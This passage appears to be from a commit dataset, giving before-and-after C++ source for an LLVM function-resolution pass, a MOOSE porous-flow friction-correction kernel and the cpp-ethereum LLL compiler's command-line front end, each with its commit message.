ResolveGlobalVariables(M, Globals,\n cast<GlobalVariable>(Concrete));\n }\n return false;\n}\n\nbool FunctionResolvingPass::run(Module &M) {\n std::map<std::string, std::vector<GlobalValue*> > Globals;\n\n \/\/ Loop over the globals, adding them to the Globals map. We use a two pass\n \/\/ algorithm here to avoid problems with iterators getting invalidated if we\n \/\/ did a one pass scheme.\n \/\/\n bool Changed = false;\n for (Module::iterator I = M.begin(), E = M.end(); I != E; ) {\n Function *F = I++;\n if (F->use_empty() && F->isExternal()) {\n M.getFunctionList().erase(F);\n Changed = true;\n } else if (!F->hasInternalLinkage() && !F->getName().empty())\n Globals[F->getName()].push_back(F);\n }\n\n for (Module::giterator I = M.gbegin(), E = M.gend(); I != E; ) {\n GlobalVariable *GV = I++;\n if (GV->use_empty() && GV->isExternal()) {\n M.getGlobalList().erase(GV);\n Changed = true;\n } else if (!GV->hasInternalLinkage() && !GV->getName().empty())\n Globals[GV->getName()].push_back(GV);\n }\n\n TargetData &TD = getAnalysis<TargetData>();\n\n \/\/ Now we have a list of all functions with a particular name. If there is\n \/\/ more than one entry in a list, merge the functions together.\n \/\/\n for (std::map<std::string, std::vector<GlobalValue*> >::iterator\n I = Globals.begin(), E = Globals.end(); I != E; ++I)\n Changed |= ProcessGlobalsWithSameName(M, TD, I->second);\n\n \/\/ Now loop over all of the globals, checking to see if any are trivially\n \/\/ dead. If so, remove them now.\n\n for (Module::iterator I = M.begin(), E = M.end(); I != E; )\n if (I->isExternal() && I->use_empty()) {\n Function *F = I;\n ++I;\n M.getFunctionList().erase(F);\n ++NumResolved;\n Changed = true;\n } else {\n ++I;\n }\n\n for (Module::giterator I = M.gbegin(), E = M.gend(); I != E; )\n if (I->isExternal() && I->use_empty()) {\n GlobalVariable *GV = I;\n ++I;\n M.getGlobalList().erase(GV);\n ++NumGlobals;\n Changed = true;\n } else {\n ++I;\n }\n\n return Changed;\n}\n\n} \/\/ End llvm namespace\n<commit_msg>When spewing out warnings during function resolution, do not vomit out pages and pages of non-symbolic types.<commit_after>\/\/===- FunctionResolution.cpp - Resolve declarations to implementations ---===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Loop over the functions that are in the module and look for functions that\n\/\/ have the same name. More often than not, there will be things like:\n\/\/\n\/\/ declare void %foo(...)\n\/\/ void %foo(int, int) { ... }\n\/\/\n\/\/ because of the way things are declared in C. If this is the case, patch\n\/\/ things up.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/iOther.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"Support\/Statistic.h\"\n#include <algorithm>\n\nnamespace llvm {\n\nnamespace {\n Statistic<>NumResolved(\"funcresolve\", \"Number of varargs functions resolved\");\n Statistic<> NumGlobals(\"funcresolve\", \"Number of global variables resolved\");\n\n struct FunctionResolvingPass : public Pass {\n virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n AU.addRequired<TargetData>();\n }\n\n bool run(Module &M);\n };\n RegisterOpt<FunctionResolvingPass> X(\"funcresolve\", \"Resolve Functions\");\n}\n\nPass *createFunctionResolvingPass() {\n return new FunctionResolvingPass();\n}\n\nstatic bool ResolveFunctions(Module &M, std::vector<GlobalValue*> &Globals,\n Function *Concrete) {\n bool Changed = false;\n for (unsigned i = 0; i != Globals.size(); ++i)\n if (Globals[i] != Concrete) {\n Function *Old = cast<Function>(Globals[i]);\n const FunctionType *OldMT = Old->getFunctionType();\n const FunctionType *ConcreteMT = Concrete->getFunctionType();\n \n if (OldMT->getParamTypes().size() > ConcreteMT->getParamTypes().size() &&\n !ConcreteMT->isVarArg())\n if (!Old->use_empty()) {\n std::cerr << \"WARNING: Linking function '\" << Old->getName()\n << \"' is causing arguments to be dropped.\\n\";\n std::cerr << \"WARNING: Prototype: \";\n WriteAsOperand(std::cerr, Old);\n std::cerr << \" resolved to \";\n WriteAsOperand(std::cerr, Concrete);\n std::cerr << \"\\n\";\n }\n \n \/\/ Check to make sure that if there are specified types, that they\n \/\/ match...\n \/\/\n unsigned NumArguments = std::min(OldMT->getParamTypes().size(),\n ConcreteMT->getParamTypes().size());\n\n if (!Old->use_empty() && !Concrete->use_empty())\n for (unsigned i = 0; i < NumArguments; ++i)\n if (OldMT->getParamTypes()[i] != ConcreteMT->getParamTypes()[i])\n if (OldMT->getParamTypes()[i]->getPrimitiveID() != \n ConcreteMT->getParamTypes()[i]->getPrimitiveID()) {\n std::cerr << \"WARNING: Function [\" << Old->getName()\n << \"]: Parameter types conflict for: '\";\n WriteTypeSymbolic(std::cerr, OldMT, &M);\n std::cerr << \"' and '\";\n WriteTypeSymbolic(std::cerr, ConcreteMT, &M);\n std::cerr << \"'\\n\";\n return Changed;\n }\n \n \/\/ Attempt to convert all of the uses of the old function to the concrete\n \/\/ form of the function. If there is a use of the fn that we don't\n \/\/ understand here we punt to avoid making a bad transformation.\n \/\/\n \/\/ At this point, we know that the return values are the same for our two\n \/\/ functions and that the Old function has no varargs fns specified. In\n \/\/ otherwords it's just <retty> (...)\n \/\/\n if (!Old->use_empty()) { \/\/ Avoid making the CPR unless we really need it\n Value *Replacement = Concrete;\n if (Concrete->getType() != Old->getType())\n Replacement = ConstantExpr::getCast(ConstantPointerRef::get(Concrete),\n Old->getType());\n NumResolved += Old->use_size();\n Old->replaceAllUsesWith(Replacement);\n }\n\n \/\/ Since there are no uses of Old anymore, remove it from the module.\n M.getFunctionList().erase(Old);\n }\n return Changed;\n}\n\n\nstatic bool ResolveGlobalVariables(Module &M,\n std::vector<GlobalValue*> &Globals,\n GlobalVariable *Concrete) {\n bool Changed = false;\n Constant *CCPR = ConstantPointerRef::get(Concrete);\n\n for (unsigned i = 0; i != Globals.size(); ++i)\n if (Globals[i] != Concrete) {\n Constant *Cast = ConstantExpr::getCast(CCPR, Globals[i]->getType());\n Globals[i]->replaceAllUsesWith(Cast);\n\n \/\/ Since there are no uses of Old anymore, remove it from the module.\n M.getGlobalList().erase(cast<GlobalVariable>(Globals[i]));\n\n ++NumGlobals;\n Changed = true;\n }\n return Changed;\n}\n\nstatic bool ProcessGlobalsWithSameName(Module &M, TargetData &TD,\n std::vector<GlobalValue*> &Globals) {\n assert(!Globals.empty() && \"Globals list shouldn't be empty here!\");\n\n bool isFunction = isa<Function>(Globals[0]); \/\/ Is this group all functions?\n GlobalValue *Concrete = 0; \/\/ The most concrete implementation to resolve to\n\n for (unsigned i = 0; i != Globals.size(); ) {\n if (isa<Function>(Globals[i]) != isFunction) {\n std::cerr << \"WARNING: Found function and global variable with the \"\n << \"same name: '\" << Globals[i]->getName() << \"'.\\n\";\n return false; \/\/ Don't know how to handle this, bail out!\n }\n\n if (isFunction) {\n \/\/ For functions, we look to merge functions definitions of \"int (...)\"\n \/\/ to 'int (int)' or 'int ()' or whatever else is not completely generic.\n \/\/\n Function *F = cast<Function>(Globals[i]);\n if (!F->isExternal()) {\n if (Concrete && !Concrete->isExternal())\n return false; \/\/ Found two different functions types. Can't choose!\n \n Concrete = Globals[i];\n } else if (Concrete) {\n if (Concrete->isExternal()) \/\/ If we have multiple external symbols...x\n if (F->getFunctionType()->getNumParams() > \n cast<Function>(Concrete)->getFunctionType()->getNumParams())\n Concrete = F; \/\/ We are more concrete than \"Concrete\"!\n\n } else {\n Concrete = F;\n }\n } else {\n GlobalVariable *GV = cast<GlobalVariable>(Globals[i]);\n if (!GV->isExternal()) {\n if (Concrete) {\n std::cerr << \"WARNING: Two global variables with external linkage\"\n << \" exist with the same name: '\" << GV->getName()\n << \"'!\\n\";\n return false;\n }\n Concrete = GV;\n }\n }\n ++i;\n }\n\n if (Globals.size() > 1) { \/\/ Found a multiply defined global...\n \/\/ If there are no external declarations, and there is at most one\n \/\/ externally visible instance of the global, then there is nothing to do.\n \/\/\n bool HasExternal = false;\n unsigned NumInstancesWithExternalLinkage = 0;\n\n for (unsigned i = 0, e = Globals.size(); i != e; ++i) {\n if (Globals[i]->isExternal())\n HasExternal = true;\n else if (!Globals[i]->hasInternalLinkage())\n NumInstancesWithExternalLinkage++;\n }\n \n if (!HasExternal && NumInstancesWithExternalLinkage <= 1)\n return false; \/\/ Nothing to do? Must have multiple internal definitions.\n\n \/\/ There are a couple of special cases we don't want to print the warning\n \/\/ for, check them now.\n bool DontPrintWarning = false;\n if (Concrete && Globals.size() == 2) {\n GlobalValue *Other = Globals[Globals[0] == Concrete];\n \/\/ If the non-concrete global is a function which takes (...) arguments,\n \/\/ and the return values match, do not warn.\n if (Function *ConcreteF = dyn_cast<Function>(Concrete))\n if (Function *OtherF = dyn_cast<Function>(Other))\n if (ConcreteF->getReturnType() == OtherF->getReturnType() &&\n OtherF->getFunctionType()->isVarArg() &&\n OtherF->getFunctionType()->getParamTypes().empty())\n DontPrintWarning = true;\n \n \/\/ Otherwise, if the non-concrete global is a global array variable with a\n \/\/ size of 0, and the concrete global is an array with a real size, don't\n \/\/ warn. This occurs due to declaring 'extern int A[];'.\n if (GlobalVariable *ConcreteGV = dyn_cast<GlobalVariable>(Concrete))\n if (GlobalVariable *OtherGV = dyn_cast<GlobalVariable>(Other))\n if (const ArrayType *OtherAT =\n dyn_cast<ArrayType>(OtherGV->getType()->getElementType()))\n if (const ArrayType *ConcreteAT =\n dyn_cast<ArrayType>(ConcreteGV->getType()->getElementType()))\n if (OtherAT->getElementType() == ConcreteAT->getElementType() &&\n OtherAT->getNumElements() == 0)\n DontPrintWarning = true;\n }\n\n if (!DontPrintWarning) {\n std::cerr << \"WARNING: Found global types that are not compatible:\\n\";\n for (unsigned i = 0; i < Globals.size(); ++i) {\n std::cerr << \"\\t\";\n WriteTypeSymbolic(std::cerr, Globals[i]->getType(), &M);\n std::cerr << \" %\" << Globals[i]->getName() << \"\\n\";\n }\n }\n\n if (!Concrete)\n Concrete = Globals[0];\n else if (GlobalVariable *GV = dyn_cast<GlobalVariable>(Concrete)) {\n \/\/ Handle special case hack to change globals if it will make their types\n \/\/ happier in the long run. The situation we do this is intentionally\n \/\/ extremely limited.\n if (GV->use_empty() && GV->hasInitializer() &&\n GV->getInitializer()->isNullValue()) {\n \/\/ Check to see if there is another (external) global with the same size\n \/\/ and a non-empty use-list. If so, we will make IT be the real\n \/\/ implementation.\n unsigned TS = TD.getTypeSize(Concrete->getType()->getElementType());\n for (unsigned i = 0, e = Globals.size(); i != e; ++i)\n if (Globals[i] != Concrete && !Globals[i]->use_empty() &&\n isa<GlobalVariable>(Globals[i]) &&\n TD.getTypeSize(Globals[i]->getType()->getElementType()) == TS) {\n \/\/ At this point we want to replace Concrete with Globals[i]. Make\n \/\/ concrete external, and Globals[i] have an initializer.\n GlobalVariable *NGV = cast<GlobalVariable>(Globals[i]);\n const Type *ElTy = NGV->getType()->getElementType();\n NGV->setInitializer(Constant::getNullValue(ElTy));\n cast<GlobalVariable>(Concrete)->setInitializer(0);\n Concrete = NGV;\n break;\n }\n }\n }\n\n if (isFunction)\n return ResolveFunctions(M, Globals, cast<Function>(Concrete));\n else\n return ResolveGlobalVariables(M, Globals,\n cast<GlobalVariable>(Concrete));\n }\n return false;\n}\n\nbool FunctionResolvingPass::run(Module &M) {\n std::map<std::string, std::vector<GlobalValue*> > Globals;\n\n \/\/ Loop over the globals, adding them to the Globals map. We use a two pass\n \/\/ algorithm here to avoid problems with iterators getting invalidated if we\n \/\/ did a one pass scheme.\n \/\/\n bool Changed = false;\n for (Module::iterator I = M.begin(), E = M.end(); I != E; ) {\n Function *F = I++;\n if (F->use_empty() && F->isExternal()) {\n M.getFunctionList().erase(F);\n Changed = true;\n } else if (!F->hasInternalLinkage() && !F->getName().empty())\n Globals[F->getName()].push_back(F);\n }\n\n for (Module::giterator I = M.gbegin(), E = M.gend(); I != E; ) {\n GlobalVariable *GV = I++;\n if (GV->use_empty() && GV->isExternal()) {\n M.getGlobalList().erase(GV);\n Changed = true;\n } else if (!GV->hasInternalLinkage() && !GV->getName().empty())\n Globals[GV->getName()].push_back(GV);\n }\n\n TargetData &TD = getAnalysis<TargetData>();\n\n \/\/ Now we have a list of all functions with a particular name. If there is\n \/\/ more than one entry in a list, merge the functions together.\n \/\/\n for (std::map<std::string, std::vector<GlobalValue*> >::iterator\n I = Globals.begin(), E = Globals.end(); I != E; ++I)\n Changed |= ProcessGlobalsWithSameName(M, TD, I->second);\n\n \/\/ Now loop over all of the globals, checking to see if any are trivially\n \/\/ dead. If so, remove them now.\n\n for (Module::iterator I = M.begin(), E = M.end(); I != E; )\n if (I->isExternal() && I->use_empty()) {\n Function *F = I;\n ++I;\n M.getFunctionList().erase(F);\n ++NumResolved;\n Changed = true;\n } else {\n ++I;\n }\n\n for (Module::giterator I = M.gbegin(), E = M.gend(); I != E; )\n if (I->isExternal() && I->use_empty()) {\n GlobalVariable *GV = I;\n ++I;\n M.getGlobalList().erase(GV);\n ++NumGlobals;\n Changed = true;\n } else {\n ++I;\n }\n\n return Changed;\n}\n\n} \/\/ End llvm namespace\n<|endoftext|>"} {"text":"<commit_before>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"PINSFVMomentumFrictionCorrection.h\"\n#include \"INSFVRhieChowInterpolator.h\"\n#include \"NS.h\"\n#include \"SystemBase.h\"\n\nregisterMooseObject(\"NavierStokesApp\", PINSFVMomentumFrictionCorrection);\n\nInputParameters\nPINSFVMomentumFrictionCorrection::validParams()\n{\n auto params = INSFVFluxKernel::validParams();\n params.addClassDescription(\n \"Computes the diffusion kernel to avoid pressure-driven oscillations.\");\n params.addParam<MooseFunctorName>(\"Darcy_name\", \"Name of the Darcy coefficients property.\");\n params.addParam<MooseFunctorName>(\"Forchheimer_name\",\n \"Name of the Forchheimer coefficients property.\");\n params.addParam<MooseFunctorName>(NS::porosity, NS::porosity, \"The porosity\");\n params.addRequiredParam<MooseFunctorName>(NS::density, \"The density.\");\n params.addRangeCheckedParam<Real>(\"consistent_scaling\",\n 1,\n \"consistent_scaling >= 0\",\n \"Smoothing scaling parameter to control \"\n \"collocated mesh oscillations\");\n return params;\n}\n\nPINSFVMomentumFrictionCorrection::PINSFVMomentumFrictionCorrection(const InputParameters & params)\n : INSFVFluxKernel(params),\n _cL(isParamValid(\"Darcy_name\") ? &getFunctor<ADRealVectorValue>(\"Darcy_name\") : nullptr),\n _cQ(isParamValid(\"Forchheimer_name\") ? &getFunctor<ADRealVectorValue>(\"Forchheimer_name\")\n : nullptr),\n _use_Darcy_friction_model(isParamValid(\"Darcy_name\")),\n _use_Forchheimer_friction_model(isParamValid(\"Forchheimer_name\")),\n _eps(getFunctor<ADReal>(NS::porosity)),\n _rho(getFunctor<ADReal>(NS::density)),\n _consistent_scaling(getParam<Real>(\"consistent_scaling\"))\n{\n if (!_use_Darcy_friction_model && !_use_Forchheimer_friction_model)\n mooseError(\"At least one friction model needs to be specified.\");\n#ifndef MOOSE_GLOBAL_AD_INDEXING\n mooseError(\"PINSFV is not supported by local AD indexing. In order to use PINSFV, please run \"\n \"the configure script in the root MOOSE directory with the configure option \"\n \"'--with-ad-indexing-type=global'\");\n#endif\n}\n\nvoid\nPINSFVMomentumFrictionCorrection::gatherRCData(const FaceInfo & fi)\n{\n if (skipForBoundary(fi))\n return;\n\n _face_info = &fi;\n _normal = fi.normal();\n _face_type = fi.faceType(_var.name());\n\n#ifdef MOOSE_GLOBAL_AD_INDEXING\n using namespace Moose::FV;\n\n const auto elem_face = elemFromFace();\n const auto neighbor_face = neighborFromFace();\n\n ADReal friction_term_elem = 0;\n ADReal friction_term_neighbor = 0;\n\n if (_use_Darcy_friction_model)\n {\n friction_term_elem += (*_cL)(elem_face)(_index)*_rho(elem_face) \/ _eps(elem_face);\n friction_term_neighbor +=\n (*_cL)(neighbor_face)(_index)*_rho(neighbor_face) \/ _eps(neighbor_face);\n }\n if (_use_Forchheimer_friction_model)\n {\n friction_term_elem += (*_cQ)(elem_face)(_index)*_rho(elem_face) \/ _eps(elem_face);\n friction_term_neighbor +=\n (*_cQ)(neighbor_face)(_index)*_rho(neighbor_face) \/ _eps(neighbor_face);\n }\n\n Point _face_centroid = _face_info->faceCentroid();\n Point _elem_centroid = _face_info->elemCentroid();\n Point _neighbor_centroid = _face_info->neighborCentroid();\n\n Real geometric_factor = _consistent_scaling * (_neighbor_centroid - _face_centroid).norm() *\n (_elem_centroid - _face_centroid).norm();\n\n \/\/ Compute the diffusion driven by the velocity gradient\n \/\/ Interpolate viscosity divided by porosity on the face\n ADReal diff_face;\n interpolate(Moose::FV::InterpMethod::Average,\n diff_face,\n friction_term_elem * geometric_factor,\n friction_term_neighbor * geometric_factor,\n *_face_info,\n true);\n\n \/\/ Compute face superficial velocity gradient\n auto dudn =\n _var.gradient(Moose::FV::makeCDFace(*_face_info, faceArgSubdomains())) * _face_info->normal();\n\n if (_face_type == FaceInfo::VarFaceNeighbors::ELEM ||\n _face_type == FaceInfo::VarFaceNeighbors::BOTH)\n {\n const auto dof_number = _face_info->elem().dof_number(_sys.number(), _var.number(), 0);\n \/\/ A gradient is a linear combination of degrees of freedom so it's safe to straight-up index\n \/\/ into the derivatives vector at the dof we care about\n ADReal ae = dudn.derivatives()[dof_number];\n ae *= -diff_face;\n _rc_uo.addToA(&fi.elem(), _index, ae * (fi.faceArea() * fi.faceCoord()));\n }\n if (_face_type == FaceInfo::VarFaceNeighbors::NEIGHBOR ||\n _face_type == FaceInfo::VarFaceNeighbors::BOTH)\n {\n const auto dof_number = _face_info->neighbor().dof_number(_sys.number(), _var.number(), 0);\n ADReal an = dudn.derivatives()[dof_number];\n an *= diff_face;\n _rc_uo.addToA(fi.neighborPtr(), _index, an * (fi.faceArea() * fi.faceCoord()));\n }\n\n const auto strong_resid = -diff_face * dudn;\n\n processResidual(strong_resid * (fi.faceArea() * fi.faceCoord()));\n#endif\n}\n<commit_msg>Resolve old Guillaume conversation about doc string<commit_after>\/\/* This file is part of the MOOSE framework\n\/\/* https:\/\/www.mooseframework.org\n\/\/*\n\/\/* All rights reserved, see COPYRIGHT for full restrictions\n\/\/* https:\/\/github.com\/idaholab\/moose\/blob\/master\/COPYRIGHT\n\/\/*\n\/\/* Licensed under LGPL 2.1, please see LICENSE for details\n\/\/* https:\/\/www.gnu.org\/licenses\/lgpl-2.1.html\n\n#include \"PINSFVMomentumFrictionCorrection.h\"\n#include \"INSFVRhieChowInterpolator.h\"\n#include \"NS.h\"\n#include \"SystemBase.h\"\n\nregisterMooseObject(\"NavierStokesApp\", PINSFVMomentumFrictionCorrection);\n\nInputParameters\nPINSFVMomentumFrictionCorrection::validParams()\n{\n auto params = INSFVFluxKernel::validParams();\n params.addClassDescription(\n \"Computes a correction term to avoid oscillations from average pressure interpolation in \"\n \"regions of high changes in friction coefficients.\");\n params.addParam<MooseFunctorName>(\"Darcy_name\", \"Name of the Darcy coefficients property.\");\n params.addParam<MooseFunctorName>(\"Forchheimer_name\",\n \"Name of the Forchheimer coefficients property.\");\n params.addParam<MooseFunctorName>(NS::porosity, NS::porosity, \"The porosity\");\n params.addRequiredParam<MooseFunctorName>(NS::density, \"The density.\");\n params.addRangeCheckedParam<Real>(\"consistent_scaling\",\n 1,\n \"consistent_scaling >= 0\",\n \"Smoothing scaling parameter to control \"\n \"collocated mesh oscillations\");\n return params;\n}\n\nPINSFVMomentumFrictionCorrection::PINSFVMomentumFrictionCorrection(const InputParameters & params)\n : INSFVFluxKernel(params),\n _cL(isParamValid(\"Darcy_name\") ? &getFunctor<ADRealVectorValue>(\"Darcy_name\") : nullptr),\n _cQ(isParamValid(\"Forchheimer_name\") ? &getFunctor<ADRealVectorValue>(\"Forchheimer_name\")\n : nullptr),\n _use_Darcy_friction_model(isParamValid(\"Darcy_name\")),\n _use_Forchheimer_friction_model(isParamValid(\"Forchheimer_name\")),\n _eps(getFunctor<ADReal>(NS::porosity)),\n _rho(getFunctor<ADReal>(NS::density)),\n _consistent_scaling(getParam<Real>(\"consistent_scaling\"))\n{\n if (!_use_Darcy_friction_model && !_use_Forchheimer_friction_model)\n mooseError(\"At least one friction model needs to be specified.\");\n#ifndef MOOSE_GLOBAL_AD_INDEXING\n mooseError(\"PINSFV is not supported by local AD indexing. In order to use PINSFV, please run \"\n \"the configure script in the root MOOSE directory with the configure option \"\n \"'--with-ad-indexing-type=global'\");\n#endif\n}\n\nvoid\nPINSFVMomentumFrictionCorrection::gatherRCData(const FaceInfo & fi)\n{\n if (skipForBoundary(fi))\n return;\n\n _face_info = &fi;\n _normal = fi.normal();\n _face_type = fi.faceType(_var.name());\n\n#ifdef MOOSE_GLOBAL_AD_INDEXING\n using namespace Moose::FV;\n\n const auto elem_face = elemFromFace();\n const auto neighbor_face = neighborFromFace();\n\n ADReal friction_term_elem = 0;\n ADReal friction_term_neighbor = 0;\n\n if (_use_Darcy_friction_model)\n {\n friction_term_elem += (*_cL)(elem_face)(_index)*_rho(elem_face) \/ _eps(elem_face);\n friction_term_neighbor +=\n (*_cL)(neighbor_face)(_index)*_rho(neighbor_face) \/ _eps(neighbor_face);\n }\n if (_use_Forchheimer_friction_model)\n {\n friction_term_elem += (*_cQ)(elem_face)(_index)*_rho(elem_face) \/ _eps(elem_face);\n friction_term_neighbor +=\n (*_cQ)(neighbor_face)(_index)*_rho(neighbor_face) \/ _eps(neighbor_face);\n }\n\n Point _face_centroid = _face_info->faceCentroid();\n Point _elem_centroid = _face_info->elemCentroid();\n Point _neighbor_centroid = _face_info->neighborCentroid();\n\n Real geometric_factor = _consistent_scaling * (_neighbor_centroid - _face_centroid).norm() *\n (_elem_centroid - _face_centroid).norm();\n\n \/\/ Compute the diffusion driven by the velocity gradient\n \/\/ Interpolate viscosity divided by porosity on the face\n ADReal diff_face;\n interpolate(Moose::FV::InterpMethod::Average,\n diff_face,\n friction_term_elem * geometric_factor,\n friction_term_neighbor * geometric_factor,\n *_face_info,\n true);\n\n \/\/ Compute face superficial velocity gradient\n auto dudn =\n _var.gradient(Moose::FV::makeCDFace(*_face_info, faceArgSubdomains())) * _face_info->normal();\n\n if (_face_type == FaceInfo::VarFaceNeighbors::ELEM ||\n _face_type == FaceInfo::VarFaceNeighbors::BOTH)\n {\n const auto dof_number = _face_info->elem().dof_number(_sys.number(), _var.number(), 0);\n \/\/ A gradient is a linear combination of degrees of freedom so it's safe to straight-up index\n \/\/ into the derivatives vector at the dof we care about\n ADReal ae = dudn.derivatives()[dof_number];\n ae *= -diff_face;\n _rc_uo.addToA(&fi.elem(), _index, ae * (fi.faceArea() * fi.faceCoord()));\n }\n if (_face_type == FaceInfo::VarFaceNeighbors::NEIGHBOR ||\n _face_type == FaceInfo::VarFaceNeighbors::BOTH)\n {\n const auto dof_number = _face_info->neighbor().dof_number(_sys.number(), _var.number(), 0);\n ADReal an = dudn.derivatives()[dof_number];\n an *= diff_face;\n _rc_uo.addToA(fi.neighborPtr(), _index, an * (fi.faceArea() * fi.faceCoord()));\n }\n\n const auto strong_resid = -diff_face * dudn;\n\n processResidual(strong_resid * (fi.faceArea() * fi.faceCoord()));\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file main.cpp\n * @author Gav Wood <i@gavwood.com>\n * @date 2014\n * Ethereum client.\n *\/\n\n#include <fstream>\n#include <iostream>\n#include <clocale>\n#include <liblll\/Compiler.h>\n#include <libdevcore\/CommonIO.h>\n#include <libdevcore\/CommonData.h>\n#include <libevmasm\/Instruction.h>\nusing namespace std;\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::eth;\n\nvoid help()\n{\n\tcout\n\t\t<< \"Usage lllc [OPTIONS] <file>\" << endl\n << \"Options:\" << endl\n\t\t<< \" -b,--binary Parse, compile and assemble; output byte code in binary.\" << endl\n\t\t<< \" -x,--hex Parse, compile and assemble; output byte code in hex.\" << endl\n\t\t<< \" -a,--assembly Only parse and compile; show assembly.\" << endl\n\t\t<< \" -t,--parse-tree Only parse; show parse tree.\" << endl\n\t\t<< \" -h,--help Show this help message and exit.\" << endl\n\t\t<< \" -V,--version Show the version and exit.\" << endl;\n exit(0);\n}\n\nvoid version()\n{\n\tcout << \"LLLC, the Lovely Little Language Compiler \" << endl;\n\tcout << \" By Gav Wood, (c) 2014.\" << endl;\n\texit(0);\n}\n\n\/*\nThe equivalent of setlocale(LC_ALL, \"C\") is called before any user code is run.\nIf the user has an invalid environment setting then it is possible for the call\nto set locale to fail, so there are only two possible actions, the first is to\nthrow a runtime exception and cause the program to quit (default behaviour),\nor the second is to modify the environment to something sensible (least\nsurprising behaviour).\n\nThe follow code produces the least surprising behaviour. It will use the user\nspecified default locale if it is valid, and if not then it will modify the\nenvironment the process is running in to use a sensible default. This also means\nthat users do not need to install language packs for their OS.\n*\/\nvoid setDefaultOrCLocale()\n{\n#if __unix__\n\tif (!std::setlocale(LC_ALL, \"\"))\n\t{\n\t\tsetenv(\"LC_ALL\", \"C\", 1);\n\t}\n#endif\n}\n\nenum Mode { Binary, Hex, Assembly, ParseTree, Disassemble };\n\nint main(int argc, char** argv)\n{\n\tsetDefaultOrCLocale();\n\tunsigned optimise = 1;\n\tstring infile;\n\tMode mode = Hex;\n\n\tfor (int i = 1; i < argc; ++i)\n\t{\n\t\tstring arg = argv[i];\n\t\tif (arg == \"-h\" || arg == \"--help\")\n\t\t\thelp();\n\t\telse if (arg == \"-b\" || arg == \"--binary\")\n\t\t\tmode = Binary;\n\t\telse if (arg == \"-x\" || arg == \"--hex\")\n\t\t\tmode = Hex;\n\t\telse if (arg == \"-a\" || arg == \"--assembly\")\n\t\t\tmode = Assembly;\n\t\telse if (arg == \"-t\" || arg == \"--parse-tree\")\n\t\t\tmode = ParseTree;\n\t\telse if ((arg == \"-o\" || arg == \"--optimise\") && argc > i + 1)\n\t\t\toptimise = atoi(argv[++i]);\n\t\telse if (arg == \"-d\" || arg == \"--disassemble\")\n\t\t\tmode = Disassemble;\n\t\telse if (arg == \"-V\" || arg == \"--version\")\n\t\t\tversion();\n\t\telse\n\t\t\tinfile = argv[i];\n\t}\n\n\tstring src;\n\tif (infile.empty())\n\t{\n\t\tstring s;\n\t\twhile (!cin.eof())\n\t\t{\n\t\t\tgetline(cin, s);\n\t\t\tsrc.append(s);\n\t\t}\n\t}\n\telse\n\t\tsrc = contentsString(infile);\n\n\tvector<string> errors;\n\tif (src.empty())\n\t\terrors.push_back(\"Empty file.\");\n\telse if (mode == Disassemble)\n\t{\n\t\tcout << disassemble(fromHex(src)) << endl;\n\t}\n\telse if (mode == Binary || mode == Hex)\n\t{\n\t\tauto bs = compileLLL(src, optimise ? true : false, &errors);\n\t\tif (mode == Hex)\n\t\t\tcout << toHex(bs) << endl;\n\t\telse if (mode == Binary)\n\t\t\tcout.write((char const*)bs.data(), bs.size());\n\t}\n\telse if (mode == ParseTree)\n\t\tcout << parseLLL(src) << endl;\n\telse if (mode == Assembly)\n\t\tcout << compileLLLToAsm(src, optimise ? true : false, &errors) << endl;\n\tfor (auto const& i: errors)\n\t\tcerr << i << endl;\n\tif ( errors.size() )\n\t\treturn 1;\n\treturn 0;\n}\n<commit_msg>LLL: document optimise flag<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file main.cpp\n * @author Gav Wood <i@gavwood.com>\n * @date 2014\n * Ethereum client.\n *\/\n\n#include <fstream>\n#include <iostream>\n#include <clocale>\n#include <liblll\/Compiler.h>\n#include <libdevcore\/CommonIO.h>\n#include <libdevcore\/CommonData.h>\n#include <libevmasm\/Instruction.h>\nusing namespace std;\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::eth;\n\nvoid help()\n{\n\tcout\n\t\t<< \"Usage lllc [OPTIONS] <file>\" << endl\n << \"Options:\" << endl\n\t\t<< \" -b,--binary Parse, compile and assemble; output byte code in binary.\" << endl\n\t\t<< \" -x,--hex Parse, compile and assemble; output byte code in hex.\" << endl\n\t\t<< \" -a,--assembly Only parse and compile; show assembly.\" << endl\n\t\t<< 